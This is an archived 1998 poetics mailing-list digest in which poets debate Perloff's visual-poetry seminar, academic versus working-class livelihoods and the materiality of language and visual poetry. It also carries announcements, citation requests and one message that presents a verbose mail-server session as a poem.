if you really wanna know what someone is doing in the classroom, or on the assembly line, or in front of their typewriter, you need to be willing to ask some questions and listen, carefully, for some answers... if you think said context/place of employment/writing zone should/could/must be altered---for the "better," however defined---why then you at least need to understand the terms of said person's engagement with said context... the constraints as well as the possibilities, which around t/here generally fall under the rubric, somehow, of "work"...

the territorialities surfacing of late on this list are provocative, yes, but they're lamentable too... every now and again something bleeds through that, however much i may disagree, seems charged with the urgency of the person-in-the-world, or on-the-planet (which is not merely *personal*)... for which i am thankful, b/c i am mself none too good at making my assertions *felt* by others...

i wonder whether we can swear our allegiances w/o having to dismantle one another in the process?...

best,

joe

↑ Index

821. Mark Prejsnar
Re: the Perloff Seminar
Mon 26 Jan 1998

On Mon, 26 Jan 1998, Maria Damon wrote:

> *as someone who works "within" the academy to change it, i agree but with some caveats. for those who feel they can live outside systems, my hat's off to you; but i myself can't take the stress, want health insurance, don't want to be 65 without means of self-support and no relief in sight...there's gotta be room for those of us who don't have the energy to do battle with the daily necessities AND flourish creatively. watching what*

> *miekal and lyx have to go through --in some ways its a fabulous life, growing your own food, owning your own means of production, and yes if the stock market crashed you'd survive better than any of us who are investing*

Believe it or not, some of us belong to the working class and do poetry. This means (at least if you fight hard enuff for a union, and/or are lucky) that it's possible to have medical coverage, a wage, etc. Back to the land is not the only alternative to academe!!

Mark P. (for Prole)

↑ Index

822. KENT JOHNSON
The ten gallon hat
Mon 26 Jan 1998

Emerging now from last night's post-game funk and can finally speak. My class early this morning was an utter disaster: I started crying in the middle of a lecture on topic sentences. How will I face them now tomorrow? I feel like Clinton.

Anyway, last night I drove up to Monroe, Wisconsin with my foam Cheesehead hat to watch the game at Baumgartner's, a true "bar bar" with all kinds of fish and animals grinning from the walls and not a fern plant in sight. Drank about 15 Diet Cokes. But the reason I'm writing, and it's a stunner, is this: During the second quarter sometime, a portly man, fortyish, in ten gallon hat, bellied up next to me and we got to doing the bonding thing by shouting at the TV through the drunken din. DID YOU SEE THAT?! AW BULLSHIT, COME ON REF! GO DORSEY GO! and so on. At halftime I introduced myself, and he to me. Imagine my surprise when he grabbed my hand and yelled in my ear, HI, I'M TIM WOOD, FROM TEXAS!

I sized him up for a spell, probably cross-eyed with the shock, and then yelled back as loud as I could, ARE YOU THE SAME TIM WOOD FROM POETICS LISTSERV?

WHAT'S THAT AGAIN PARDNER? he yelled.

I SAID, I yelled, ARE YOU THE SAME TIM WOOD FROM POETICS LISTSERV? (Only now does it occur to me that I yelled this twice with a huge piece of foam cheese on my head, and the thought of myself in that act strikes me, frankly, as somewhat disturbing.)

NO, he yelled, I'M FROM TEXAS...WACO, TEXAS... ON BUSINESS.

Anyway, the misunderstanding was a bit awkward (in those non-verbal bar-like ways you can't quite put your finger on), and it sort of short-circuited the visceral flow of our manly camaraderie. By the third quarter, he had pulled back

from the bar to yell at the TV with other cheeseheads, and to leave me pondering over the utterly wild coincidence of it all.

Tim, feel free to post this rather bizarre anecdote on the Texas Poets Listserv as well!

the Pack will be back,

Kent

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823. **Dale M Smith**
Re: Hey Katy
Mon 26 Jan 1998

Actually, I had that new Bond movie in mind. Maybe Elmore Leonard over J. Krantz though. By the way. There are ways to challenge that don't rely on the formal vomitorium many poets turn to for inspiration these days. But you've got to find that out on your own.

To: [redacted]

On Mon, 26 Jan 1998, Dale M Smith wrote:

> I wanted to reply to you and somehow lost your post. I remember a long
> Barthes quote ending in a question, to me, about a contract between
> writer and reader. My response:
>
> Contact not Contract.
>
> Re: Moxley's book preface, she writes: "Even the love poem agitates the
> beloved to fall in love with the poet." Now that's the kind of excitement
> I have in mind for poetry. The writer should give enough to move thought
 and
> feeling through someone else. Instead of vain postures and formal
 orthodoxy,
> do what it takes to connect to something outside of the self. Arrogant
> readerly demands might work in Leisure Land (picture musical notation
around
> those words) but most people arent' the least bit interested. It's funny
> that novels still sell well, and that audiences attend the theater but
 poetry
> more than ever is an isolated art. Maybe there's something for us to learn?
>
so dale, you mean theatre, like spice world and titanic? - and novels,
like judith krantz and um, cold mountain, yeah?

this isnt cultural snobbery per se, to be asking for something that asks more of the reader (always, collaborator) than a passive affirmation of usual structures of seeing/doing/thinking/going about one's day (ie, falling in love with oneself/'the poet' - dont know about you, but i never had a 'poet' write love to me, in fact, i'm almost always the only one doing the reading! - go figure)

'writer should give enough to move thought and feeling through ...' - tell me what thought is, what feeling is, how a writer (moxley? dale smith?) puts something down that reaches that ultimate, indefinable, unmarked territory of universal emotion - and i have an mfa program to sell

rd

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824. **Charles Watts**

Re: bill bissett reads at SFU Monday,

Mon 26 Jan 1998

I don't know of any offhand, Miekal, but maybe Carl Peters does--he's on this list; and I'll ask bill when I see him today.

Charles
>
> charles watts
>
> can you point us to any online bissett resources?
>

--
Charles Watts
Theses and Special Collections
Special Collections & Rare Books
Room 7100, Bennett Library
Simon Fraser University
Burnaby, B.C. V5A 1S6
Tel: [redacted]; Fax: [redacted]
E-mail: [redacted]

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825. **Charles Watts**
Re: bill bissett
Mon 26 Jan 1998

No, Steve, we're not planning a publication based on the exhibit; but I can tell you about the recent issue of Capilano Review featuring bill bissett. It's Series 2, No. 23, Fall 1997. Here are the contents:

Introduction by editor Robert Sherrin; "th pome wuz a storee. . ." by Jamie Reid; "nowun duz it like yu," David McFadden interviews bill bissett; "A Just Measure: breath, line, body in the work of bill bissett," by Sharon Nelson; "'when we get there can I smoke?'" by Susan Musgrave; three poems by bill bissett; "bill bissett: A Writing _Outside_ Writing," by Adeena Karasick; "The Continuous Present," by Judith Copithorne; "Truth be told, by any other name, bill bissett," by Kathy Ford; "bill bissett circa 1967/68," by Patrick Lane; "The Flying Eagle," by Maxine Gadd; "Some times," by Renee Rodin; a suite of eight paintings and collages by bill bissett, reproduced in colour; "Composition by Feeled: The Visual Art of bill bissett," by Robert Enright; three more poems by bill bissett; "we ar always on th 401: the use of fiction in bissett's poems," by Carol Malyon; "Vertical Excess: _what fuckan theory_ and bill bissett's Concrete Poetics," by Darren Wershler-Henry. The cover features a bissett painting, "th rivr is shaking."

The Capilano Review
2055 Purcell Way
North Vancouver, B.C. Canada V7J 3H5

Subscriptions are $25/year ($30 for institutions). No evidence of a single issue price, but they are sold on magazine stands; maybe $12? No indication of an e-mail address or fax number either.

P.S. the full title of Jamie Reid's essay is "th pome wuz a storee nd is th storee: th erlee daze uv blewointment." Blewointment was bill's self-propelled press for twenty years or so.

Best,

Charles

> *dear charles,*
> *thanks for your post re the bb exhibition, sounds great. will you be doing a publication? i've heard of a recent issue of capilano review devoted to bill but haven't seen a copy. very best wishes on the show.*
> *steve clay*
> *granary books*
> *568 broadway #403*
> *new york, ny 10012*

--
Charles Watts
Theses and Special Collections
Special Collections & Rare Books
Room 7100, Bennett Library
Simon Fraser University
Burnaby, B.C. V5A 1S6
Tel: [redacted]; Fax: [redacted]
E-mail: [redacted]

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826. **LAURA MORIARTY**
Re: the Perloff Seminar
Mon 26 Jan 1998

Joe -

- I liked the way your message addressed the delicate ground between the compellingly urgent and the creepily personal -

The visual art discussion was great, especially for its passion and negativity. It seems a very useful function of the list to bring together the anthropologists and their "targets" - so to speak. And very interesting when we question those roles as of course is happening in actual anthropology. It feels and sometimes is a life-and death matter who gets included or discluded - whether you have insurance or not -

And yet, writers' versions of their own histories, poetics and context are often good reading, but are sometimes related only tangentially to what is actually out there -

What is new - What are the uses of the new and how work will be relevant to anyone in 50 or 100 years (or in 5) will not be determined by the same qualities that make certain poetries or poets dominant now. It's the Tennyson/Thomas Higginson syndrome -

(This btw not an attack on Ron (I haven't seen his Philly talk) whose work I continue to find useful - though it is often in a state of resistance or exasperation that I may be using it -)

To respond to Karen Kelley (who I have been trying to backchannel with no luck) about web or print I think that they should exist in tandem and that web, being easy, instant access (once you have it at all) - leads you to the print work of the writer(s) - I see non partly as a series of advertisement for the writers in

it- I like it that the access is international and random - You don't have to standing in SPD as I am luckily able to to see new work by Bob Grenier or Mary Burger -

Laura
http://socrates.berkeley.edu/~moriarty/

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827. LAURA MORIARTY
reading, interview,
Mon 26 Jan 1998

P.S.

I will be doing an interview on the radio possibly with others in the AVEC anthology reading (which is next Saturday the 31st at CleanWellLighted Place for Books, 601 VanNess, SF at 7:30 - The other readers are Lissa McLaughlin, George Albon and Stephen-Paul Martin -)

The radio thing (very immediate Bay Area) is 1220 AM KBBA (I think) at 4:30 on this Wednesday (the 28th) - I promise to mention all of your names -

Anyone owing me (or having) a review etc for non should get in touch -I have lost some messages in changing emails -

My new address is [redacted] - Will resubscribe as soon as I can figure out how to filter the list with eudora

The sublime non will be up ASAP

Laura

http://socrates.berkeley.edu/~moriarty/

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828. Richard Long
More Creeley Work
Mon 26 Jan 1998

In addition to the Creeley poem mentioned by Robert Archambeau, there's other current Creeley poetry (with art by Francesco Clemente) in the latest issue of _The 2River View_ at

http://www.daemen.edu/~2River

You can click on CURRENT ISSUE and go to the table of contents, or you can get to the Creeley/Clemente work directly via this link

http://www.daemen.edu/pages/rlong/tworiver/2RView/2_2/poems/anamorphosis.html

Richard Long

Richard Long
Daemen College, Amherst, NY 14226
http://www.daemen.edu/~rlong
http://www.daemen.edu/~2River
[redacted] * FAX [redacted]

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829. **Harold Rhenisch**
Re: the Perloff Seminar
Mon 26 Jan 1998

>>i wonder whether we can swear our allegiances w/o having to dismantle one another in the process?...

Well posed, Joe.

--Harold
[redacted]

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830. **d powell**
Re: citation help
Mon 26 Jan 1998

Steven,

The Flash's number is [redacted]. I'm pretty sure that their issues are archived, but I don't know where. Joyce Jenkins could tell you though. Doug

==========
D A Powell [redacted]
==========

Steven Marks wrote:
>Listfolks:
>
>Does anybody know where I can find information about when a >review by
>Richard Silberg on Anne Carson appeared in Poetry Flash. Online >sources?

>Silberg's e-mail?
>
>Thanks in advance.
>Steven
>
>_____
> Steven Marks
>
> http://members.aol.com/swmarks/welcome.html
>_____
>
>----------
>Return-Path: <[redacted]>
>Delivered-To: [redacted]
>Received: (qmail 19948 invoked from network); 25 Jan 1998 >20:32:56 -0000
>Received: from deliverance.acsu.buffalo.edu (128.205.7.57)
> by herring.com with SMTP; 25 Jan 1998 20:32:56 -0000
>Received: (qmail 22793 invoked from network); 25 Jan 1998 >20:32:38 -0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)
> by deliverance.acsu.buffalo.edu with SMTP; 25 Jan 1998 20:32:38 >-0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
>LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8c) with spool id 27228453 >for
> [redacted]; Sun, 25 Jan 1998 >15:32:34 -0500
>Received: (qmail 19607 invoked from network); 25 Jan 1998 >20:32:33 -0000
>Received: from oak.cc.conncoll.edu ([redacted]) by
> listserv.acsu.buffalo.edu with SMTP; 25 Jan 1998 >20:32:33 -0000
>Received: from dsys.cc.conncoll.edu by oak.cc.conncoll.edu;
> (5.65v3.2/1.1.8.2/18Mar96-1233PM) id AA23175; Sun, 25 >Jan 1998
> 15:32:32 -0500
>X-Sender: [redacted]
>Mime-Version: 1.0
>Content-Type: TEXT/PLAIN; charset=US-ASCII
>Message-ID: ><[redacted]>
>Date: Sun, 25 Jan 1998 15:32:32 -0500
>Reply-To: UB Poetics discussion group ><[redacted]>
>Sender: UB Poetics discussion group ><[redacted]>
>From: Steven Marks <[redacted]>
>Subject: citation help
>To: [redacted]
>
>

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831. Miekal And
Back to back
Mon 26 Jan 1998

RaeA100900 wrote:
>
> Well, I got a new monitor and am back on-line before anyone could even
> theoretically miss me. I guess my announcement that I would be unavailable
> was
> a bit over-stated.
>
> Rae A.

ah, but what do we gotta do to get you to delurk, probably just shutup for a couple weeks

miekal

↑ Index

832. Alan Myouka Sondheim
PRIMORDIAL
Mon 26 Jan 1998

PRIMORDIAL

{k:3} Mail -v [redacted]
Subject: Endless Darkness of this Primordial Age
Now in this darkest of all Years
It is a life that brings me Fears
Against Eternal Wheels Never Steered
Past violent Faces and their Leers
.
EOT
{k:4} [redacted]... Connecting to gol1.gol.com. via esmtp...

{k:6} [redacted]... Connecting to wonderland.gol.ad.jp. via esmtp...
c220 wonderland.gol.ad.jp ESMTP Sendmail 8.8.8/8.8.8/888-980120-P; Mon, 26 Jan 1
998 00:13:14 +0900 (JST)
>>> EHLO panix3.panix.com
at250-wonderland.gol.ad.jp Hello panix3.panix.com [198.7.0.4], pleased to meet y
ou

250-8BITMIME
250-SIZE 1000000
250-DSN
250-ONEX
250-ETRN
250-XUSR
250 HELP
>>> MAIL From:<[redacted]> SIZE=209
 z250 <[redacted]>... Sender ok
>>> RCPT To:<[redacted]>
 250 <[redacted]>... Recipient ok
>>> DATA
354 Enter mail, end with "." on a line by itself
>>> .
250 AAA12170 Message accepted for delivery
[redacted]... Sent (AAA12170 Message accepted for delivery)
Closing connection to wonderland.gol.ad.jp.
>>> QUIT
221 wonderland.gol.ad.jp closing connection

{k:16} mail -v [redacted]
Subject: Darkness of Primordial Age
Now alas the Darkness of the Primordial Age
is Upon Us; I have brought an endless Rage
against Dwelling-Place of Deity and Sage:
it is this War enhanced that I will Wage.
.
Cc:
[redacted]... Connecting to local...
[redacted]... Sent
{k:17}

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833. **hen**
Re: the Perloff Seminar
Mon 26 Jan 1998

On Mon, 26 Jan 1998 11:40:18 -0800 LAURA MORIARTY said:
>
>What is new - What are the uses of the new and how work will be relevant
>to anyone in 50 or 100 years (or in 5) will not be determined by the same

>qualities that make certain poetries or poets dominant now. It's the
>Tennyson/Thomas Higginson syndrome -

This is one of the central, uncanny things about writing, & like most important things it's probably best not to talk about it. I'm sure all you talkers will agree with me there. - Henry Gould

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834. Bob Grumman
Re: the Perloff Seminar
Mon 26 Jan 1998

Lots of posts to answer, which I'll do rather hurriedly 'cause I AM getting a little tuckered, especially from repeating my few main points, and from trying to keep from becoming de-focused.

Harold R. starts things off for the day by wondering about "all this talk about Perloff's adequate or inadequate course on visual poetry." Answer: all the talk from me is because the course is symptomatic of the Whole World's Indifference (sob) to a kind of poetry I believe in--or, to be a little more fair--a large chunk of a kind of poetry I believe in; also--I'll confess it now--because Perloff's seminar presents a good excuse to publicize that kind of poetry (just as the announcements of the readings done in conjunction with the seminar publicized Perloff's brand of poetry; also, finally, for the wonderfully pure reason that one should always protest anything one conceives as unfair, however small.

The rest of Harold's first post on this today was interesting but peripheral. For instance, that I should spend time on defining Perloff's role rather than her course is an interesting idea, but I consider myself a literary critic, not a poetics sociologist. And I do consider her important. I truly wonder where Ashbury would be, for instance, if not for Vendler. I'm sure he would eventually have emerged, but not as quickly. And it seems to me that Perloff has been one of the main forces behind language poetry's emergence. As for the best way to make a space in the culture of one's time for one's kind of art, I have no idea what it is. I personally have always been extremely private: do the work and let others do the work of finding their way to it. But I more and more think that's doing only half your job as an artist--if you want to communicate--and I do.

Oh, and I don't see the academy as anywhere near the cutting edge, or that it necessarily should be. But it should at least acknowledge the existence of all segments of the cutting edge.

Now, briefly, to Henry Gould, which means wandering far afield. Only to TIME magazine and the like is "the cutting edge of biology," in Henry's words, "the

cloning of human beings as objects of scientific curiosity & ambition." The media no more provides data about real biologists than it does about real poets.

Another brief comment, this in response to Carl Lynden Peters, with whom I tend to agree that working from within the academy is as good a way to go as any. And I'm a natural anti-academic who only started college in his thirties because the government paid him to do so through the GI Bill, and who never got further than a BA. Of course, as a substitute teacher at a high school, I'm now pretty academic.

Great that bissett is getting some recognition. I think it helps make him available, period. I don't care what boundaries others try to put him in so long as they make him available. Read/view his work for what it is, not where it's put by others, including me.

I was pleased to see Maria's quietly sensible post, quite a nice contrast to some of the outbursts this thread has been seeing, including some of mine. I was amused that Mark Prejsnar found something to attack in it, though--unless he was being comic.

Joe Amato was, as always, reasonably reasonable, but he believes (I think) in a density of fair play I'm incapable of; that is, I can't help but point out what I take to be defects regardless of the motives, compensating virtues, problems with logistics, etc. of the person responsible for the defects.

Finally, turning to Bill Howe, what can I say? Except that he should be shot for making a better case for my view than I've been able to.

--Bob G.

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835. **RaeA100900**

Back

Mon 26 Jan 1998

Well, I got a new monitor and am back on-line before anyone could even theoretically miss me. I guess my announcement that I would be unavailable was a bit over-stated.

Rae A.

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836. **JBCM2**
Re: fri. night Poetry Wars
Mon 26 Jan 1998

Joe: Read your rant and found myself empathetic with it, with this one difference: I'm not as pissed off as I used to be. This is what happens when the imperialist paradigm is in force; the need to have a hierarchy, hence the ridiculous banter on the network that crystallizes around the one subject that everybody's hip to -- getting published. The truth of the matter has nothing to do with publishing per se; anyone can publish, if only a vanity press. No, here too the hierachical condition exerts itself; it's not IF one publishes but WHO one is published by. I'm not saying there isn't a genuine love of the art out here, I'm saying that it's subordinate to the institutional demand for honors and a big publishing house.

You might be interested in reading what Carlo Parcelli says on the predictable outcome of such a "crystallization" on-line in FlashPoint Magazine (http:/webdelsol.com/FLASHPOINT/), and on the political scene on-line in PostMortem (@ http:/www.geocities.com/CapitolHill/1848/).

Joe Brennan

↑ Index

837. **Miekal And**
what night is it at vizago's vertipo
Mon 26 Jan 1998

I go away for a day & the hum on the line here be outta control. Good to hear the many other voices to be heard & the juxtaposition & timing of various posts is better than TV. I feel like my relation to institutions is being misrepresented. I gladly give workshops, readings, performances, installations, for any institution that asks me, whether it be UM-Gopher, the winnebago nation, or the military & have done so many times in the past....on the other hand I cant picture myself being a tenured graybeard in the martini zone. Living on $3000/year in no better or worse than 20 times that amount. I do agree with Don Byrd's comment of a week back or so that were in the midst of a cultural crises which mirrors the ecological, social & economic crises that were the priviledged generation of. we have to want to sustain abundantly the culture of culture to know how to proceed, how to cultivate the blasted diversity of wildness & value the spontaneous self-organization of poetries layered on poetries. Besides, if no one sees/reads my words in 200 years, how will I sleep at night?

Dr Awkword in Qazingulaza

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838. **Daniel Zimmerman**
Re: the Perloff Seminar
Mon 26 Jan 1998

Maria Damon wrote:
>
> i have my own differences
> --mostly political --with m perloff, as she knows, and to an extent we've
> agreed to disagree. and i don't see anything wrong with bob grumman's
> wanting recognition; that's part of being a person in society. i guess i
> don't have a unified point here, but i wanted to bring some more terms into
> the discussion beyond inside/outside systems or "grumman's being
> unreasonable v. perloff is being non-representative".

Maria, I don't care whether you have a 'unified point'--you have a good one. Or, as Rodney King said,... Why shouldn't Perloff foreground her favorite authors working in vizpo? [OK: Bob has a point: perhaps she shouldn't present it as the definitive & comprehensive course on vizpo--but I suspect she has enough sense not to, & wouldn't register much surprise if she acknowledges Bob's objections in her course; why not? She seems pretty fairminded to me, and a great champion of many of the subscribers to this list]. As neither a 'language poet' nor a 'visual poet,' I haven't much stake in this brouhaha, perhaps [?], but _as_ a [godawful obscure] poet, I sure hope this sniping dies down before someone gets hurt.

--Dan Zimmerman

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839. **Aviva99999**
HUBRISTIC, SIMPLISTIC ASSESSMENT OF VIZPO NEEDS COUNTERING
Mon 26 Jan 1998

The following passage, from UNENDING DESIGN: THE FORMS OF POSTMODERN POETRY, Joseph M. Comte (Ithaca: Cornell U. Press, 1991), p. 16, seems simplistic and therefore provocative, especially to those of us who know little about "visual" and "sound" poetry. I'd love to hear some responses to this passage, as it seems unnecessarily one-dimensional to me. Anyone interested?

"The concept of a poetic form must respond to the conditions of the modern world and to an understanding of how that world functions. Not all "new" verse forms are equal to the task of confronting reality. Poets may correctly observe that theirs is a printed medium requiring the extended concentration of the

reader; and they may also observe that the audiovisual media that now dominate our culture offer an almost instant gratification that barely requires the attention of its audience at all. Thus some poets have devoted their energies to producing concrete or "visual poetry" that could easily be flashed on a video monitor, or they have composed "sound poetry" that can be chanted like a mantra, recorded, spliced, or broadcast over loudspeakers in some public forum. But in my opinion such poetic forms seem too much to bear the stamp of their reality. They are formal effects that seem not so much devised by the poet as thrust upon him by the exigencies of his condition. They reflect a world that has grown too impatient to tolerate the "defamiliarization," the increase in the "difficulty and length of perception" that Victor Shklovsky argued poetic language ought to pursue. Such forms do not confront or interpret contemporary reality; they submit to it."

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840. **Aviva99999**
Susan Howe's Vizzipo post...
Mon 26 Jan 1998

Can someone forward me a copy of this post? I inadvertently wiped it out before reading it...Thanks!

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841. **Henry Gould**
Re: the Perloff Seminar
Mon 26 Jan 1998

Now, briefly, to Henry Gould, which means wandering far afield. Only to TIME magazine and the like is "the cutting edge of biology," in Henry's words, "the cloning of human beings as objects of scientific curiosity & ambition." The media no more provides data about real biologists than it does about real poets.

Thanks for filling me in, Bob. Actually, I know some biologists. My brother is a biologist. His specialty is lichen. He's doing a mapping project in the arctic at the moment. - Henry Gould

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842. **Henry Gould**
Re: Back
Mon 26 Jan 1998

On Mon, 26 Jan 1998 18:23:05 EST RaeA100900 said:
> Well, I got a new monitor and am back on-line before anyone could even

>theoretically miss me. I guess my announcement that I would be unavailable
>was
>a bit over-stated.
>

welcome back, Rae. Have you been crystallized yet? Everyone's annoyed. -
Henry Gould

↑ Index

843. **JBCM2**
Re: found poem
Mon 26 Jan 1998

Better watch those guache conceits....

Joe

↑ Index

844. **Scott Pound**
Re: vizzzipo schtuff
Mon 26 Jan 1998

Well done Bill. As one who has traded many quips and folded many bits of paper and fused hips in front of computer monitors and trucked over to Joel's house to do more of the same--with Joel and Bill and others I _can_ relate to _materiality_ and all the staring and listening it takes to really _see_ and _hear_ and _make_ poetry not merely visual but real. Something.

But the meism of this debate gets tiring after a while. No one has really come out and said why vizpo matters, if it does. For meikal and bob the answer is implicit in their years and years of work. It's hardly for them to say. As Pound used to say to a young McLuhan: "all the answers to your questions are in the first 80 Cantos." Others genuinely wonder, as Joel says, what the fuss is about.

I read much of the growling and pissing, the territoriality that has come to the fore, as a symptom of something worth pursuing in a less ad homenim way because there is a real difference at stake between langpo and the concertistes which explains meikal, bob and company's irritation at the two being conflated in Marjorie Perloff's syllabus.

Aside from the absurd implication that a langpod can't be a vizpot (_Veil_ is as worthy a part of the vizpot corpus as anything), there is the question of what separates the two modes of writing. And I would use this rift to raise exactly that question. The term materiality (or some derivative thereof) has been used to describe the work of both the langpods and the vizpots.

In some usages, notably that of Dale Smith's rabid attacks, materiality seems to connote decadance, a kind of super-literariness that entails a high quotient of reflexivity and dialectical highjinx (pace Silliman, Watten, Bernstein). This I would situate as a kind of dialectical materialism in which the material of the poem is the result of putting an obscenely wide lens in front of the poet's gaze on things. This practice explodes (for one) the notion that the work of the poet is one of selection and subtle taste in the fine matters of living. I would cite Ron Silliman's work of the _Ketjak_ _Tjanting_ period where anything can and does pass through the poem (shitting, waiting for the bus, eating, fucking, etc.). There is the poem's indiscriminate preoccupation with matter as a site of poetic possibility and there is an ironic residue of decadence to that, a Duchampian decadence. I qualify this as dialectical because, in addition to this preoccupation with materiality, there is the supplemental dimension of what is at stake in putting that kind of raw, unformed material IN A POEM. There is paradoxically an extremely high degree of consciousness in that kind of work, the same high degree of consciousness that informs Duchamps ready-mades; as brute and bold gestures, they are nonetheless extremely sophisticated.

There are those that believe Duchamp challenged the sanctity of art with his ready-mades. I believe he did the opposite, he reinforced it, for the same reason that the langpods extending the limits of the poem reinforces that sanctity of the poem as a capacious entity (kinda like Walt Whitman). So you can call that materiality of you want; I regard it as an infusion of matter into the ever-virtual sphere of the poem. Nothing wrong with that in the least, as long as we remember that it is a nominal materiality that is at work there.

Materiality in poetry SHOULD mean works that brush up against the limits not of _the poem_ but of the real. That is what the best concrete vizpot does. It does not thematize matter; it challenges the audience to view letters and words as real things with a domension and duration all their own, not merely as indices in an overdetermined virtual world of meaning.

There is great beauty and courage in work that is willing to forsake the ready-made structure of phonetic literacy and put letters in the service of creating spaces and temporalities that outstrip anything the alphabet was designed to contain and control.

I salute meikal and bob and all the other concretists on this list for their work. I got my eye on you.

It's late (for me) my salt bath is ready. Grind on.

Scott Pound

↑ Index

845. Thomas Bell
Carson review
Tue 27 Jan 1998

Seredipitously encountered this reference.
Try http://members.aol.com/swmarks/reviews.html
tom bell

↑ Index

846. Thomas Bell
fri night po wars.the new.vizpo.langpo again.
Tue 27 Jan 1998

Luigi, Henry, and

[If I have the time this might be a series of short posts rather than a long post, particularly as I am thinking it through as I write.]

I may be writing here more as a psychologist than a poet (and I am working from a psychhologist's - Marion Milner's - words. She is a psychologist but writing here as a painter so I'm not sure "words" is accurate), but it does seem to me that any new direction or movement in poetry will not be in the area of form or language. The Russians recently mentioned here and the vizpo business seem to support this - I think the importance of vizpo is in its visual dimension rather than its forms - this might be what is problematic in a langpo approach to vizpo.

I. Langpo (or whatever) has opened to clear the detrius in what was accepted as the way it is.

II. The next "movement" will not be one of style or new "avants", but...

I.

Operative (or Operating) words here; OBJECT FRAGMENTARY COMBINING IMAGINE DANGER

"It seemed it was possible...to have evaded facing certain facts about the human situation, or only given a superficial acquiescence to them. Otherwise why was it so difficult to feel about, as well as think about, the separateness or togetherness of objects?...Direct sensory was always fragmentary and had to be combined into a whole by the creative imagination....even the perception of a...carrot was an imaginative act, one had to create imaginatively...the unseen other side...to know the truth of people you have to select and combine; to grasp the essence of them...you have to combine all the partial glimpses into a relevant whole. this, however,since it requires imagination, brought me face to face with certain dangers inherent in the nature of imagination.

---
unk. atr.
>>"*what is it about language writing and all that has come after it that there
>>has been no moment nor movement that has crystallized in anything like the
>>same way poetry did in the early 1970s?* For all the anthologies of younger
>>writers, many of then extraordinarily gifted, what do we find in the way of
>>work that is actually new? I think this must be the challenge that faces
>>every younger writer . . . "

Luigi-
>a number of momement/movements that have, if not
crystallized, at least been strong confluxes of poetic/community energies...
one significant difference, as i've suggested before, is th lack of critical/
theoretic attentions either frm within or outside... ov course, such
attentions/components are sometimes held as markers of "seriousness"
(as if, lacking overt critical discourse, there is no critcal thought or
>theoretic underpinning)

Henry
>"movements" themselves have a certain "synthetic, teleological"
energy...Again, I insist that the really great art releases something
via a synthetic process in which the rational or strategic will is in
abeyance rather than control. Or at least "in collaboration"...
anything that critiques "the way things are" is justified as "art".
I think we are all familiar with this trend in the arts.

By suggesting a socio-political explanation for why a "new crystallization" on a par with language poetry has not yet occurred, Ron is following this trend. & I would argue that the answer to his question - where a new development is to be found - has already been supplied earlier in the dialogue; by Ron himself, when he talks about all art as a "tuning of the senses" via an overdetermination, if you will, of stimulae; and by Jeff, when he argues that the political impact of estrangement is not supplied so much by disjunction as by "radical _conjunction_" - the JOINING of dangerous taboo political contexts within the energy of clear artistic description (& Derksen uses examples from Silliman's own work to illustrate).

I would argue that an aesthetic of pure critique, not firmly grounded in artistic processes, ends up one-sided and rhetorical. As I suggested in a previous post, art is a kind of uncanny energy which spins out of the artist's full control but brings joy in the process - a joy which spreads & subsumes critique & re-orients everything in its path. This is Whitman's daemonic Laugh coming from the Rockies. It becomes a super-synthesis of speech/drawing/voice/gesture - not a move-in-reaction to previous trends

but a kind of perennial activity. It is with such a synthetic approach,
giving full weight to the artistic process in itself, which I would posit
the current generation is already engaged & which could be "crystallized"
in recognizable academic-literary-historical format suitable for framing
>anthologizing & convertible into deadhead bears if you like. - Henry Gould

II.

later, or tomorrow or?
tom bell

↑ Index

847. **Thomas Bell**
Part II, fri.night po's etc
Tue 27 Jan 1998

Brief digression (or succession) on the psychology of phonemics
and graphemics, the visual, and social upheaval,
suggesting that vizpo is the logical heir of langpo?

Excerpts from Reuven Tsur's "Picture Poems...
http://www.tau.ac.il/~tsurxx/

"Granted that poetic language draws attention to itself more than nonpoetic language, one must make a stylistic distinction between poetic styles in which this is more, and those in which this is less conspicuous. In non-manneristic styles, classic or romantic for example, the transition from the signifiant to the signifié is relatively smooth, in spite of all. The phonetic patterns in these styles are perceived as some pleasant fusion of sounds in the back of one's mind. In manneristic styles, such as metaphysical or modernistic poetry, language tends to direct attention back to the signifiers more conspicuously. To put my argument briefly, in poetic language we are more aware of the separateness of the signs than in nonpoetic language; and within poetic language, we are more aware of their separateness in manneristic than in, e.g., romantic poetry.

"We listen to a stream of abstract phonetic categories, made amenable to the resolving power of the human ear by parallel transmission. At the same time, at a lower level, and subliminally, we may attend to the rich, precategorial acoustic information, which may affect the perceived quality of poetic language in a variety of ways. For our present business, one thing is important: there is a subtle interplay in the background, on a very minute scale, between this rich, precategorial acoustic information and the fine-grained semantic components. Obviously, owing to the differences propounded above, such interplay cannot take place between the visual design superimposed upon the line arrangement and the patterns of signs at the phonetic, semantic, syntactic and thematic levels.

"Some contemporary critics hold, following Dr. Johnson, that blank verse and vers libre are "often only verse for the eye". This is a
misconception. Just as the graphic arrangement on the page presents the lines as perceptual units to the eye, the intonation
contours heard in the reading of poetry present the lines as perceptual units to the ear. Such contours are the result of the
interaction of the intonation contours required by prose rhythm with those that articulate the line. It is assumed that the listener
decodes these contours in terms of the intonation contours from whose interplay they arise. In fact, the main function of the
graphic arrangement on the page is to give the reader instructions concerning the intonation contours appropriate to the lines.
In this respect, the verse lines with the white space around become rather transparent graphic signs of phonological entities:
just as the letters on the page signal phonemes, the verse lines surrounded by white space signal intonation contours (cf. Tsur,
1977: 119; 1992 a: 174-175). They only begin to compete for the reader's attention and reassert their warring identity, when
they are foregrounded by some "mannerist" device: acrostic, or some mimetic arrangement.

"I propose to offer a model alternative to Tynjanov's, drawn from Sypher (1955: 6), who speaks of four stages of Renaissance
style, the first two of which are relevant to our present business: A provisional
formulation (Renaissance), and a disintegration
(Mannerism). We might suggest that in the first stage, that of the "provisional formulation", the art-consumer (reader, listener,
spectator) tends to attend away from the individual devices to the architecture of the whole, whereas in the second stage he is
forced to attend back to the isolated devices, with possible serious damage to the architectural structure of the whole. In
Melchiori's phrasing (1966: 138), "the total effect is frequently lost sight of, or is reached through accumulation rather than
through a harmonious disposition of structural parts", whereas "details are worked out with a goldsmith's care". A similar
disintegration has been observed by Curtius (1973: 274) toward the end of the Latin Middle Ages: "A danger of the system
lies in the fact that, in manneristic epochs, the ornatus is piled on indiscriminately and meaninglessly. In rhetoric itself, then, lies
concealed one of the seeds of Mannerism. It produces a luxuriant growth in Latin Middle Ages". A similar story can be told,

